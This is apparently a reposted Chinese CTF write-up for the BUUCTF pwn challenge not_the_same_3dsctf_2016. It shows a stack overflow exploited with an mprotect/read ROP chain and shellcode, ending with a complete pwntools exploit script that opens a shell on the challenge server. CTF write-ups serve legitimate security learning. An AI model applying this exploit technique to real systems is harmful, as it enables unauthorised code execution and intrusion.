zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN14——not_the_same_3dsctf_2016

    [BUUCTF]PWN14——not_the_same_3dsctf_2016

    题目网址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016

    步骤:

    例行检查,32位,开启了nx保护
    在这里插入图片描述
    nc一下看看程序大概的执行情况,没看出个所以然
    在这里插入图片描述
    32位ida载入,shift+f12查看程序里的字符串,发现flag.txt
    在这里插入图片描述
    双击跟进,ctrl+x找到调用这个字符串的函数,可以看到,这个函数将flag读了出来,存放到了unk_80F91B的位置,我们要想办法将这个地址上的内容读出来读出
    在这里插入图片描述
    根据nc看到的字符串,找到输入点,gets可以造成溢出
    在这里插入图片描述
    我一开始的思路是利用main函数里的gets造成溢出,覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出然后覆盖返回地址到write函数的地址,打印出unk_80CF91B里的flag的内容,但是后来在百度fgets的用法的时候,发现它能够避免造成溢出,而且fl4g在bss段,没有ret指令可以继续控制程序。

    后来我在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell,这题的做法跟get_started_3dsctf_2016这题类似
    在这里插入图片描述
    由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8

     ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret"|grep pop
    

    在这里插入图片描述

    ctrl+s调出程序的段表,将.got.plt段改为可读可写可执行,addr=0x80eb000
    在这里插入图片描述

    payload  ='a'*0x2d+p32(mprotect)+p32(p3_ret)
    payload +=p32(addr)+p32(0x100)+p32(0x7)
    

    将返回地址填写成read函数,设置read函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最好读入shellcode

    payload +=p32(read_addr)+p32(p3_ret)
    
    payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
    r.sendline(payload)
    r.sendline(shellcode)
    

    完整EXP

    from pwn import*
    
    r=remote('node3.buuoj.cn',29651)
    elf=ELF('not_the_same_3dsctf_2016')
    read_addr=elf.symbols['read']
    mprotect=0x806ED40
    addr=0x80eb000
    p3_ret=0x806fcc8
    
    shellcode=asm(shellcraft.sh())
    
    payload  ='a'*0x2d+p32(mprotect)+p32(p3_ret)
    payload +=p32(addr)+p32(0x100)+p32(0x7)
    
    payload +=p32(read_addr)+p32(p3_ret)
    
    payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
    
    r.sendline(payload)
    r.sendline(shellcode)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    java中Object转String
    Spring中属性文件properties的读取与使用
    Java中parseInt()和valueOf(),toString()的区别
    php第二十一节课
    php第二十节课
    php第十九节课
    php第十八节课
    php第十七节课
    php第十五节课
    php第十四节课
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273720.html
Copyright © 2011-2022 走看看